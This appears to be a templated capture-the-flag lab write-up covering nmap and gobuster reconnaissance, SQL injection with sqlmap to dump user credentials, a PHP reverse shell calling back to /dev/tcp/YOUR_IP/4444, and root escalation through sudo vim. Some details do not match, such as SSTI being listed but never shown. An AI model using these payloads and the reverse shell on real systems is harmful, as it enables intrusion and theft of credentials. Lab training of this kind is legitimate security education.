CyberTask - ChallengeName Writeup
CyberTask - ChallengeName Writeup
Quick Info
| Property | Value |
|---|---|
| Platform | CyberTask |
| Category | Cyber Range Lab |
| Difficulty | Medium |
| IP | 10.10.10.xxx |
| Techniques | SQLi, SSTI, Sudo Abuse |
TL;DR Summary
- Found web app on port 80 with SQL injection
- Extracted credentials from database
- SSH access as user
www-data - Privilege escalation via sudo misconfiguration
Reconnaissance
What ports are open?
Running Nmap to discover open ports:
nmap -sCV -p- -oN nmap/full.txt 10.10.10.xxxResults:
nmap/full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41Port 80 is open — let’s enumerate the web application first.
Enumeration
Directory Bruteforce
gobuster dir -u http://10.10.10.xxx -w /usr/share/wordlists/dirb/common.txtFound directories:
/admin— Login panel/uploads— File upload functionality/api— REST API endpoints
What technology is the website using?
Always check for technology stack before attacking!
Using whatweb:
whatweb http://10.10.10.xxxOutput:
Apache 2.4.41 | PHP 7.4 | BootstrapExploitation
How to exploit the SQL Injection?
Found SQLi in login form at /admin:
' OR 1=1-- -Only use these techniques on CyberTask labs or systems you own!
Step 1: Confirm SQLi
sqlmap -u "http://10.10.10.xxx/admin" --forms --dbsStep 2: Dump Credentials
sqlmap -u "http://10.10.10.xxx/admin" --forms -D webapp -T users --dumpFound credentials:
| Username | Password |
|---|---|
| admin | Sup3rS3cr3t! |
| john | password123 |
Getting Reverse Shell
Upload PHP reverse shell:
shell.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
Start listener:
nc -lvnp 4444Pro Tip: Always upgrade your shell immediately after connection!
Upgrade shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fgPrivilege Escalation
How to escalate to root?
Check sudo permissions:
sudo -lOutput:
User www-data may run the following commands:
(ALL) NOPASSWD: /usr/bin/env
(ALL) NOPASSWD: /usr/bin/vimFound sudo misconfiguration! Check GTFOBins for exploitation.
Root via vim
sudo vim -c ':!/bin/bash'Got root! 🎉
root@machine:~# whoami
root
root@machine:~# cat /root/root.txtFlags
| Flag | Value |
|---|---|
| User | CTF{user_flag_here} |
| Root | CTF{root_flag_here} |
Lessons Learned
Key Takeaways
- Always enumerate thoroughly — Don’t rush to exploitation
- Check sudo permissions — Common misconfiguration vector
- Use GTFOBins — Great resource for privilege escalation
Tools Used
nmap— Port scanninggobuster— Directory bruteforcesqlmap— SQL injection automationburpsuite— Web proxy
References
FAQ
What is the initial foothold?
SQL injection in the admin login panel leads to credential disclosure, which allows SSH access.
How long did this lab take?
Approximately 2-3 hours for initial foothold, 30 minutes for privilege escalation.
Can this be done without sqlmap?
Yes! Manual SQLi exploitation is possible using UNION-based injection.